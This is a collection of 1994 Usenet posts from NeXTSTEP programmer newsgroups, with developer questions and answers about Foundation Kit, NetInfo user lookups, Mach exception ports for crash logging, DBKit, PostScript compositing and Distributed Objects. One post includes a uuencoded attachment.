choreography, and the dancers hit eachother.
From: gt6963c@prism.gatech.edu (John) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Icon Builder question Date: 14 Apr 1994 14:50:28 -0400 Organization: Georgia Institute of Technology Distribution: world Message-ID: <2ok39k$6fn@acme.gatech.edu> Summary: how do I set pel's to background color? I was designing a new icon, but had a problem: I made a pel white, with 0% opacity(actually, the entire border of the icon, which is about half of the icons area, not just one pel). However, the area still shows up as white when I use the icon (not just in the editor). I'm wondering how I make portions of an icon transparent (look at webster.app's icon and drag it around on top of other objects). Do I need to use black with 0% opacity? or what? Thanks for the help. John -- John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu) ===========Intel: Putting the backward in backward compatable.=============== To me, boxing is like ballet..except there's not music, no choreography, and the dancers hit eachother.
From: andy@interaccess.com (Andy Faibishenko) Newsgroups: comp.sys.next.programmer Subject: Driver Developer Kit Questions Date: 14 Apr 1994 16:37:04 GMT Organization: InterAccess, Chicagoland's Full Service Internet Provider Message-ID: <2ojrfg$9q8@mailhost.interaccess.com> I have heard that NS 3.2 comes with a Driver Development Kit. Has anyone had any experience with it. How difficult would it be to write a driver for a video card using the DDK? I run on Intel and have a SVGA card that is not supported by NeXT. Currently I am constrained to run in VGA mode, but hopefully I can write a driver to run in SVGA. Any information would be deeply appreciated. -Andy
From: marka@Eng.Sun.COM (Mark Anenberg) Newsgroups: comp.sys.next.programmer Subject: Re: Changes in NS 3.3 for developers Date: 14 Apr 1994 16:01:56 GMT Organization: Sun Microsystems Inc., Mountain View, CA Distribution: na Message-ID: <2ojpdk$i0p@engnews2.Eng.Sun.COM> References: <1994Apr10.103123.3296@prim.demon.co.uk> Dave Griffiths writes #In article <2o6umq$25l@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: #>hoffmann@fzi.de wrote in comp.sys.next.programmer #>> #>>There are significant changes in NS 3.3 for the developer: #>> #>>- integrated tool set #>>- Foundation Kit with String Classes (Unicode !) #>> and new Collection Classes #>>- shared libraries for everyone !!! (good news for the MiscKit) #>>- Enterprise Objects Framework #>> #>Would somebody please confirm that that last one and the new #>Foundation kit are going to be a part of the standard developer #>release and not an additional extra? # #I heard that Enterprise Objects were going to cost extra. Quite a bit extra. #They're targeted at big rich customers. # #Dave Griffiths (note: this is not an official annoucement) The Foundation Kit IS part of the OpenStep API and considered part of the standard developer release. It is a key kit in making OpenStep a portable, non-operating system dependent, API. -- Mark Anenberg , OpenStep Development Team Email: marka@Eng.Sun.COM (NeXTMail Welcome) Disclaimer: The opinions expressed above are my own and in no way represent those of Sun Microsystems, Inc.
Newsgroups: comp.sys.next.programmer From: keithw@fiji.umhc.umn.edu (Keith Willard) Subject: Re: How to get the REAL USER NAME Message-ID: <Co9nAA.Az5@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Distribution: comp Date: Thu, 14 Apr 1994 20:25:54 GMT Mark Chamberlain writes ) robert@steffi.demon.co.uk (Robert ) Nicholson) writes: ) > Why is it necessary to specifically use the nikit for this? ) > ) > When netinfo is running the regular passwd/group routines just query ) > netinfo. ) ) Well exactly, that last lump of sbc code is massive over-engineering... ) the pw_gecos field from getpwuid works just fine with/without ) netinfo/nis whatever. while getpwuid works just fine to patch into the underlying netinfo data structures, i found under 3.0 anyway that the groups stuff did not. while the command line groups worked just fine, all you got in c was the root group and none of the other groups the user belonged to. this required netinfo routines to get. don't know if this has been fixed in 3.2 or not. ---------------------------------- Keith Willard Laboratory Medicine and Pathology University of Minnesota <keithw@tahiti.umhc.umn.edu>
From: pgraff@next.com (Peter Graffagnino) Newsgroups: comp.sys.next.programmer Subject: Re: Catching program crashes Date: 14 Apr 1994 18:30:56 GMT Organization: NeXT, Inc. Distribution: usa Message-ID: <2ok250$jc@rosie.next.com> References: <1994Apr14.132340.8166@FreemanSoft.com> In article <1994Apr14.132340.8166@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: >I want to log the time of all program crashes to a file. Does anyone know >of a generic way to catch all segmentation faults... I know it is >possible but can't figure out whether I need to listen on some kind of >exception port or ... > >-- >Joe Freeman >FreemanSoft Inc. A NEXTSTEP software and consulting services company. >Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) >Voice: 919.783.7033 Hi Joe, Here's a rough outline: * Create an .daemon program run from Workspace LaunchPaths * When the program runs, have it do the following: * find out the pid of the dock process (the guy that launches apps) * get ahold of its task port via task_by_unix_pid() * set the task's exception port to a port in your program * listen on the port for exception messages. Since the exception port is inherited by forked processes, any apps subsequently launched from the dock will get your exception port. The exception message is of the form generated by the exc.defs header in <mach/...>. Since the task and thread ports come in the exception port you get do all sorts of stuff like vm_read'ing the task's memory to generate backtraces, pause the process so you can attach with the debugger,etc. One caveat is that program terminations via abort() will not be caught by this, since for some reason abort() seems to subvert the mach exception mechanism. Good Luck! Peter
From: marvin@esu.edu (Michael Pedersen) Newsgroups: comp.sys.next.programmer Subject: Programming Project Date: 15 Apr 1994 01:33:23 GMT Organization: East Stroudsburg University, Pennsylvania Message-ID: <2okqt3$7b7@jake.esu.edu> Subject: Programming Project Newsgroups: comp.sys.mac.programmer Summary: Keywords: I have an exciting project planned for the upcoming summer, but I need programmers from separate platforms to help me with it. I am looking to create the ultimate in portable programming. This will be a commercially viable product, and can be used to create truly portable programs that incorporate many of a specific system's features. If you are interested in participating in this project, then please fill out the form below, and return it to me. I will get back to you within a few days. Note: If you are not available for at least 10 hours a week during summer, or are not reachable through InterNet during summer, then please save us both some time, and ignore this request. Also, I do not normally read this newsgroup, and as such, I would appreciate if replies were sent by e-mail. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Name: Address: City: State: Country: Zip: e-mail: +----------------------+----------------------------------------------------- |Programming Experience| +----------------------+ How many years have you been programming? What are some of the more significant projects that you have worked on? Do you know how to program in ANSI C? What systems are you able to program on? (particularly over summer) Put an 'X' in the brackets next to the appropriate systems. +-----------------------------+ | [ ] MS Windows 3.1 | | [ ] MS Windows/NT | | [ ] MS-DOS 5.0+ | | [ ] Macintosh OS/7 | | [ ] Unix TTY | | [ ] XWindows | | [ ] AmigaDOS CLI 2.0+ | | [ ] AmigaDOS Intuition 2.0+ | | [ ] AmigaDOS MUI 2.0+ | | [ ] NeXT computers | | [ ] Other (please specify) | +-----------------------------+ +-----------------+---------------------------------------------------------- |Project Specifics| +-----------------+ Are you capable of programming the systems above using an ANSI C compiler? If not, which ones are you not able to do so with? On the systems that you can use an ANSI C compiler, can you access the miscellaneous special features of your system (i.e.: Menu Bars)? On the systems on which you have an ANSI C compiler with which you can access the special features of your system, on which system do you prefer working? Will you have access to IRC over the summer? (This will be used for our conferencing) ----------------------------------------------------------------------------- One last question: Why should I choose to accept you into this programming group over somebody else? This question sounds combative, but it really isn't. It is an attempt by me to create a group that can work well together.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Missing C++ header files Date: 15 Apr 1994 02:13:52 GMT Organization: San Francisco State University Message-ID: <2okt90$t0s@nic-nac.CSU.net> References: <2ojkfr$97a@mailhost.interaccess.com> In article <2ojkfr$97a@mailhost.interaccess.com> andy@interaccess.com (Andy Faibishenko) writes: > I have just installed NS 3.1/Intel on my machine and tried to do some >C++ coding. However I cannot find files like "iostream.h" anywhere. Upgrade to 3.2 (User+Developer). -=EPS=-
From: thor@sushi.uib.no Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc Subject: WANTED: How to use grave/circummflex Date: 14 Apr 1994 23:26:53 GMT Organization: University of Bergen, Norway Distribution: world Message-ID: <2okjft$ou5@due.uninett.no> I need to input some text in Croatian. I know that accent keys are dead to allow placing over letters, but the grave and circumflex don\t wait for a letter - they move on to the next place. I haven\t tried yet, but if cedilla (for French) is the same, I\d like a fix... BTW - Keyboard.app doesn\t seem to work for me (look at my apostrephes as an example...), I don\t get a keyboard picture, even after clicking on Add... I\m using mappings I modified under 2.1 and have used without problem since. Well, up to now. Please email replies. Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no
Newsgroups: comp.sys.next.programmer Subject: Re: Missing C++ header files Message-ID: <2ojr5c$8bc@steffi.demon.co.uk> From: robert@steffi.demon.co.uk (Robert Nicholson) Date: 14 Apr 1994 17:31:40 +0100 References: <2ojkfr$97a@mailhost.interaccess.com> Organization: me organised, that's a joke. andy@interaccess.com (Andy Faibishenko) wrote in comp.sys.next.programmer > I have just installed NS 3.1/Intel on my machine and tried to do some >C++ coding. However I cannot find files like "iostream.h" anywhere. I know >the C++ compiler is installed because it will compile the samples that came >with the release which mix C++ and Objective C. I found a "streams.h" file >but it seems to be NS specific streams. Does NS not support cout, cin, >etc...? > >Thanks, >-Andy > Assuming you have the libg++ package installed (standard in 3.1 I think) or standard in 3.2... In any case libg++ in pkg form is available from nextanswers@next.com (Subject: Index) if you don't have it installed. -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Message-ID: <2okh0k$ath@steffi.demon.co.uk> From: robert@steffi.demon.co.uk (Robert Nicholson) Date: 14 Apr 1994 23:44:36 +0100 References: <Co9nAA.Az5@news.cis.umn.edu> Distribution: comp Organization: me organised, that's a joke. keithw@fiji.umhc.umn.edu wrote in comp.sys.next.programmer > >Mark Chamberlain writes >) robert@steffi.demon.co.uk (Robert >) Nicholson) writes: >) > Why is it necessary to specifically use the nikit for this? >) > >) > When netinfo is running the regular passwd/group routines just query >) > netinfo. >) >) Well exactly, that last lump of sbc code is massive over-engineering... >) the pw_gecos field from getpwuid works just fine with/without >) netinfo/nis whatever. > > >while getpwuid works just fine to patch into the underlying netinfo data >structures, i found under 3.0 anyway that the groups stuff did not. while the >command line groups worked just fine, all you got in c was the root group and >none of the other groups the user belonged to. this required netinfo routines >to get. don't know if this has been fixed in 3.2 or not. Don't know if anything was actually broken. man 2 getgroups (pay close attention to gid_t gidset[]) To my knowledge there is no need to use netinfo directly when attempting to get user/group information. Most unix code wouldn't work if that wasn't the case. -- "Kill files are for pacifists" (ASCII for text only messages)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 15 Apr 1994 02:38:39 GMT Organization: San Francisco State University Message-ID: <2okunf$obp@news.csus.edu> References: <Co9nAA.Az5@news.cis.umn.edu> In article <Co9nAA.Az5@news.cis.umn.edu> keithw@fiji.umhc.umn.edu (Keith Willard) writes: >while getpwuid works just fine to patch into the underlying netinfo data >structures, i found under 3.0 anyway that the groups stuff did not. while the >command line groups worked just fine, all you got in c was the root group and >none of the other groups the user belonged to. this required netinfo routines >to get. don't know if this has been fixed in 3.2 or not. Huh? In 3.2 the command-line groups program doesn't make any explicit NetInfo calls. I would be very surprised if 3.0 were any different. With no argument: getgroups() to obtain list of groups for the current process (up to 16); for each group, getgrgid(); if found, print the name, else the number. With an argument: getpwnam() to verify that the user name is known; repeat getgrent() until done, looking for the given user name; print all matches. What's the problem? -=EPS=-
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.programmer Subject: Re: UI observation / query. Date: 14 Apr 1994 23:52:39 +0100 Organization: me organised, that's a joke. Message-ID: <2okhfn$b0a@steffi.demon.co.uk> References: <2ojgbf$4ih@steffi.demon.co.uk> <2ok030$49d@agate.berkeley.edu> izumi@pinoko.berkeley.edu wrote in comp.sys.next.misc,comp.sys.next.software >In article <2ojgbf$4ih@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >>As somebody who spends a lot of time in Edit I'm far too often >>selecting "Print" instead of "Windows" when I want to move around my edit >>windows. >> >>Is there anybody who thinks that the Print menu should be moved below >>the Services menu out of harms way? > >If its just Edit.app or a few apps that you want this changed, >you can use IB to edit Edit.app/English.lproj/Edit.nib to reorder >main menu items to whatever you like. Yes unfortunately every app today abides to the UI guide lines. This is like the original PB hack though even though the change is trivial you have this non-standard set up then. Perhaps there's call for a MenuSubclass that allows ordering through the defaults database? Yes that only will effect new app's though. Hypothesizing for just one second. As only the top level menu is of concern it would be pretty trivial to do actually. Like Window internally consults defaults for sizing/positing etc so too could Menu based on it's Title. In the case of an App typically it's App name. All the user would do to rearrange things is to specify defaults based on the Title. The default entry would just be an ordered by preference list of Cell titles. Just a thought. -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: warning on WavesWorldOverview.ps Message-ID: <1994Apr15.034111.12609@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Fri, 15 Apr 1994 03:41:11 GMT << not sure if this is the right forum, but since I posted the original announcement of availability here, this seemed an appropriate place to post this follow-up...>> If you download my WavesWorld palettes, there's a file in Documentation/ called WavesWorldOverview.ps, which is compressed. It's also available separately at the top level of the ftp directory (media.mit.edu:pub/WavesWorld). As I mentioned in my original announcement, this is a short (22 pages) paper that is an overview of the whole WavesWorld system (of which the two IB palettes I made available are just a small part). The paper was written in Frame 3.x on my NeXTStation, and uses a variety of fonts, some purchased by the Media Lab or I, some public domain. In generating the Postscript file, I actually spent several evenings trying to come up with a file that people could print that would work on normal Postscript printers. For a variety of reasons, none of which I really understand, I wasn't able to do this. However I was able (finally!) to generate a Postscript file that could be viewed correctly on a NeXT machine that didn't already have some of the document fonts already installed on it. This was checked purely empirically by logging in to a couple of machines here in the Media Lab that I knew didn't have Arquitectura installed, double-clicking on the file to bring Preview.app up, and making sure that my illustrations that had EPS files that used that font for titling looked okay. Anyway, the point is that as far as I can tell, just sending that Postscript file to a random Postscript printer will lose; but you should be able to page through, zoom in, zoom out, and print from within Preview.app on your NeXT. Since this isn't the kind of software you're going to grab unless you have a NeXT, this seems like a reasonable restriction to me. I know someone posted a few weeks ago that Frame lied when it said that it was saving for "chosen printer/include fonts", but since it seemed to work in Preview, I don't think that was the problem. I don't like the notion of including fonts in the postscript file (I don't think this is illegal, but certainly isn't something Adobe & font creators want to promote), but since Acrobat doesn't exist on NeXTSTEP, I have no choice if I want to make electronic copies of my document available. If people have suggestions about better ways of doing this (and no, redesigning the document to use standard fonts is not a reasonable or better solution), please send me mail. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: "TWARECKI,PIOTR,MR" <B7NS000@MUSICB.MCGILL.CA> Subject: Check for NeXT Laser ON/OFF? Message-ID: <15APR94.01357262.0094@VM1.MCGILL.CA> Sender: usenet@MUSICB.MCGILL.CA Organization: McGill University Date: Fri, 15 Apr 1994 06:15:24 GMT Hello, I have just acquired the NeXT laser printer. I set it up to automati- cally power down from rc.local, but I would also like it to be automatically powered down when I log out. The problem is that if the printer is OFF in the first place, it will be switched on (!) by the 'nppower off' command, just to be switched off a few seconds later. Is there any way of detecting the power state of the printer through software, so that the unnecessary on/off cycles could be eliminated? Thank you in advance, Peter. Peter Twarecki <b7ns@MUSICB.McGill.CA>
From: scottwei@aol.com (ScottWei) Newsgroups: comp.sys.next.programmer Subject: Re: Sorting with the DBKit Date: 15 Apr 1994 01:45:04 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2ol9l0$ssb@search01.news.aol.com> References: <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de> In article <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de>, marit@pz-oekosys.uni-kiel.d400.de writes: >fetch data of an ORACLE database and I want to show them in alphabetical >order. >Therefore I use the line > [ recordList addRetrieveOrder: DB_AscendingOrder for: sortProperty ]; >which doesn't work properly. I don't recognize an order, especially not of >the chosen sortProperty. No error message occurs. I'm assuming that the sortproperty object is valid and appropriate for this record list. What object do you rely on to fetch this data? If you use the DBModule or the DBFetchgroup, the sorting info is wiped out before the fetch occurs. If you DBRecordList to fetch data then you need to notify the DBFetchGroup to redisplay or you need to iterate through the DBRecordList yourself. If that is in anyway clear, do you feel you are doing what I have described and not getting the expected results? In that case I would need to see more of the surrounding code and probably your model to help you because this usually works. Scott Weiner Paradigm Research, Inc.
From: scheurer@lithnext.epfl.ch (Marco Scheurer) Newsgroups: comp.sys.next.programmer Subject: Re: ColorWells in ScrollViews Date: 15 Apr 1994 08:30:48 GMT Organization: Ecole Polytechnique Federale de Lausanne Message-ID: <2oljbo$9gr@disuns2.epfl.ch> References: <2oe52d$frr@newshost.uni-koblenz.de> In article <2oe52d$frr@newshost.uni-koblenz.de> kampp@nemesis (Ralf &) writes: > > Hi out there ! > Has anyone a remedy or workaround for the following phenomenon ? > (NeXTstep 3.1, black machine) > > --> Colorwells won't display correctly if put in a ScrollView and > scrolled around. [...] The workaround I use is to send a setCopyOnScroll:NO message to the ScrollView. Note that it will slow down the display of that view. --- Marco Scheurer (scheurer@lithnext.epfl.ch, NeXTMail) Laboratoire d'Informatique Theorique Ecole Polytechnique Federale de Lausanne Switzerland (+41) 21 693-2589
From: krause@math.tu-berlin.de Newsgroups: comp.sys.next.programmer Subject: How to change the layout of a DBTableView? Date: 15 Apr 1994 14:06:09 GMT Organization: TUBerlin/ZRZ Message-ID: <2om70i$hi1@brachio.zrz.TU-Berlin.DE> Hello, does anybody can give me a hint how a program can change the layout (width of the columns) of a DBTableView. I can set the width in InterfaceBuilder and the user can modify the width during a session, but what is the ObjectiveC-call to do it from a program? Thanks in advance Martin PS: It is possible to change the spacing between two successive rows in a DBTableView? --------------------------------------------------------------------- Martin Krause, Technical University Berlin, Department of Mathematics e-mail : krause@math.tu-berlin.de
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: PostScript compositing operators when printing Date: 15 Apr 1994 16:37:16 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2omfrs$8eo@marsupial.jpl.nasa.gov> PostScript (PS) instance drawing and compositing cause errors on my printers (both PS level 2). Presumably this is because PSsetinstance(), PScomposite(), etc. are strictly *display* PS functions. I've written code that draws in non-instance mode when printing, but the compositing work-around would be much harder, since compositing does very complicated things when you overlay many images. Of course, I could draw to a bitmap image and then print that, but this is a major pain (besides PS code scales without aliasing etc., whereas bitmaps don't). Is there a way to get compositing to work? For example, is there an NX function that implements compositing in such a way that a printer will handle the function calls? Thanks in advance. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P(%!O<W138W)I<'0@ M*%!3*2!I;G-T86YC92!D<F%W:6YG(&%N9"!C;VUP;W-I=&EN9R!C875S92!E M<G)O<G-<"F]N(&UY('!R:6YT97)S("AB;W1H(%!3(&QE=F5L(#(I+B`@4')E M<W5M86)L>5P*=&AI<R!I<R!B96-A=7-E(%!3<V5T:6YS=&%N8V4H*2P@4%-C M;VUP;W-I=&4H*2P@971C+EP*87)E('-T<FEC=&QY("ID:7-P;&%Y*B!04R!F M=6YC=&EO;G,N("!))W9E('=R:71T96Y<"F-O9&4@=&AA="!D<F%W<R!I;B!N M;VXM:6YS=&%N8V4@;6]D92!W:&5N('!R:6YT:6YG+%P*8G5T('1H92!C;VUP M;W-I=&EN9R!W;W)K+6%R;W5N9"!W;W5L9"!B92!M=6-H(&AA<F1E<BQ<"G-I M;F-E(&-O;7!O<VET:6YG(&1O97,@=F5R>2!C;VUP;&EC871E9"!T:&EN9W,@ M=VAE;EP*>6]U(&]V97)L87D@;6%N>2!I;6%G97,N("!/9B!C;W5R<V4L($D@ M8V]U;&0@9')A=UP*=&\@82!B:71M87`@:6UA9V4@86YD('1H96X@<')I;G0@ M=&AA="P@8G5T('1H:7,@:7-<"F$@;6%J;W(@<&%I;B`H8F5S:61E<R!04R!C M;V1E('-C86QE<R!W:71H;W5T7`IA;&EA<VEN9R!E=&,N+"!W:&5R96%S(&)I M=&UA<',@9&]N)W0I+B`@27,@=&AE<F5<"F$@=V%Y('1O(&=E="!C;VUP;W-I M=&EN9R!T;R!W;W)K/R`@1F]R(&5X86UP;&4L(&ES7`IT:&5R92!A;B!.6"!F M=6YC=&EO;B!T:&%T(&EM<&QE;65N=',@8V]M<&]S:71I;F<@:6Y<"G-U8V@@ M82!W87D@=&AA="!A('!R:6YT97(@=VEL;"!H86YD;&4@=&AE(&9U;F-T:6]N K(&-A;&QS/UP*7`I4:&%N:W,@:6X@861V86YC92Y<"EP*+4IO:&Y<"@I]"F]N `
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.programmer Subject: Internet and NeXT jobs Date: 15 Apr 1994 17:33:08 GMT Organization: Brigham Young University Message-ID: <2omj4k$qe6@hamblin.math.byu.edu> As the summer sun begins to shine into my window, it occurs to me how many programmers are out there in my situation: I'm in a condo with 3 NeXTstations and a SLIP connection on the internet (i.e., resources) I'm a fairly good NeXT programmer I'm going to grad school in September (UCLA) I'd love to do NeXTSTEP programming for someone over the summer but can't really leave Provo except possibly to go to LA. I know of at least 2 other people in similar situations, and I'd suspect that there's an enormous resource here going untapped. Experienced NeXTSTEP developers on the internet with not much to do, and businesses still trapped in the traditional on-site work environment, waiting for developers to come to them. Given the number of "NeXT developer in X metro area wanted" advertisements on c.s.n.announce or wherever, and the apparent difficulty of finding experienced NS programmers, I'm somewhat surprised some enterprising individual hasn't set up a net service providing consultants or programmers to organizations that need 'em over the internet. What do you think? It seems to me this is a natural business opportunity... Why hasn't it been done yet? +-------------------------------------------------------------+ | Sean Luke milk:-cows. | | sean@digaudio.byu.edu (if (cows) 'milk) | | if only I spoke for Alpine... [milk set:[cows val]]; |
From: poplawsk@Colorado.EDU (Orion E. Poplawski) Newsgroups: comp.sys.next.programmer Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Date: 15 Apr 1994 16:40:17 GMT Organization: University of Colorado at Boulder Distribution: usa Message-ID: <2omg1h$icd@lace.Colorado.EDU> References: <2ohfdr$97s@cerberus.wsc.com> In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: > The engineer that wrote IXKit (who's quite excellent) wanted > to finish it, but I don't think that NeXT believes the IXKit > is going to be part of its future plans. > > So, if you're developing using the IXKit now, then be careful. > > 1) bugs are not likely to be fixed > 2) NeXT isn't going to improve IXKit any > 3) Support for IXKit will go away one day > > - darcy This is really starting to piss me off. Why develop anything for NEXTSTEP with any of the auxilliary kits as there is now way of knowing how long it is going to stay around? - Orion Poplawski
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: PostScript compositing operators when printing In-Reply-To: hamps@richibucto.jpl.nasa.gov's message of 15 Apr 1994 16:37:16 GMT Message-ID: <BYER.94Apr15140056@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2omfrs$8eo@marsupial.jpl.nasa.gov> Date: Fri, 15 Apr 1994 21:00:56 GMT John B Hampshire writes: John> PostScript (PS) instance drawing and compositing cause errors on my John> printers (both PS level 2). Presumably this is because John> PSsetinstance(), PScomposite(), etc. are strictly *display* PS John> functions. I've written code that draws in non-instance mode when John> printing, but the compositing work-around would be much harder, since John> compositing does very complicated things when you overlay many images. John> Of course, I could draw to a bitmap image and then print that, but John> this is a major pain (besides PS code scales without aliasing etc., John> whereas bitmaps don't). Is there a way to get compositing to work? John> For example, is there an NX function that implements compositing in John> such a way that a printer will handle the function calls? Uh, "no". At least not in general. If all you don't use the image operator at all, and use compositing only for the alpha channel effects, you can do the intersection-of-areas calculations yourself. Yes, that's an NP complete problem, and it takes a large amount of memory, which is why printers don't do it. (Alpha channel takes even more memory, and has many more problems on non-contone devices). If you can't get away with that, try re-doing the compositing work offscreen at 300dpi. That should be good enough for most purposes. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === === Absolute faith corrupts as absolutely as absolute power.
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Message-ID: <CoBLLq.7Mq@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <2omg1h$icd@lace.Colorado.EDU> Distribution: usa Date: Fri, 15 Apr 1994 21:41:49 GMT In article <2omg1h$icd@lace.Colorado.EDU> poplawsk@Colorado.EDU (Orion E. Poplawski) writes: >>In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) >>writes: >>> The engineer that wrote IXKit (who's quite excellent) wanted >>> to finish it, but I don't think that NeXT believes the IXKit >>> is going to be part of its future plans. >>> >>> So, if you're developing using the IXKit now, then be careful. >>> >>> 1) bugs are not likely to be fixed >>> 2) NeXT isn't going to improve IXKit any >>> 3) Support for IXKit will go away one day >>> >>> - darcy >> >>This is really starting to piss me off. Why develop anything for NEXTSTEP >>with any of the auxilliary kits as there is now way of knowing how long it >>is going to stay around? >> Because there needs to be a uniform way to deal with object persistency. DBKit and IXKit and the way some folks are using OODBMS's all need to converge. It looks as though NeXT is adopting this philosophy. Disclamer: Just an opinion -- Ronald Pomeroy Advanced Micro Devices CIM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: urgh - WavesWorldOverview.ps going away... Message-ID: <1994Apr16.013538.9030@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Distribution: usa Date: Sat, 16 Apr 1994 01:35:38 GMT sigh. <<I really wish Adobe would make Acrobat available on NeXTSTEP...>> I've decided to pull the copy of WavesWorldOverview.ps that I was making available, since the Postscript was kind of mucked up (Frame's fault, it seems), and it seems inadvisable to leave a document lying around that has copyrighted commercial fonts in it. My apologies to those of you who wasted paper trying to print this out. I've removed the top level compressed Postscript file from media.mit.edu:pub/WavesWorld and taken it out of the two compressed larger distributions there. I'll post again if I get the time or energy to make some version of this paper available that uses more standard faces, but it's pretty low on my list - I have a PhD to finish. sigh. If you visit me here at the Media Lab I'll be happy to print you a copy... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: DO and multi-threaded daemon Message-ID: <CoBty6.2D2@news.cis.umn.edu> Summary: DO has me confused again... Keywords: Distributed Objects multithreaded daemon Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services Date: Sat, 16 Apr 1994 00:44:32 GMT So, I have my daemon, my daemon has me. I'm vending a bunch of objects in my daemon and I'm running each in it's own thread. The time comes when I need to replace one of the objects with another, so I free it with: - free if ([self shouldVend]){ /* always true in this case */ [self unvend]; return [super free]; } where: - unvend { if (conn) { List *rObjs = [conn remoteObjects]; [rObjs makeObjectsPerform:@selector(free)]; [rObjs free]; if ([Ddaemon debug]) DLogf("unvending %s", [self mountPoint]); [NXConnection removeObject:self]; // conn = [conn free]; /* this causes an exception, right? */ conn = nil; /* this doesn't seem right though */ } return self; } As my daemon runs, the number of threads consumed climbs faster than the Space Shuttle on lift-off (well, you get the idea). There's a chance that I could avoid some creating and vending of some of the objects, but I'd rather be doing things right. Does anyone have a clue of what's going on here? Insight would be appreciated! peter PS. I'm still looking for info about why I can't use DO before a fork() if I intend to use it after a fork(). I'd guess the answer to this will be the fabled, "if you have to ask, you don't want to know..." -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: How to change the layout of a DBTableView? Message-ID: <1994Apr15.155548.1496@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2om70i$hi1@brachio.zrz.TU-Berlin.DE> Date: Fri, 15 Apr 1994 15:55:48 GMT In article <2om70i$hi1@brachio.zrz.TU-Berlin.DE> krause@math.tu-berlin.de writes: >Hello, > >does anybody can give me a hint how a program can change the layout >(width of the columns) of a DBTableView. I can set the width in >InterfaceBuilder and the user can modify the width during a >session, but what is the ObjectiveC-call to do it from a program? Something like [[table columnAt:column] sizeTo:size] Dave Griffiths
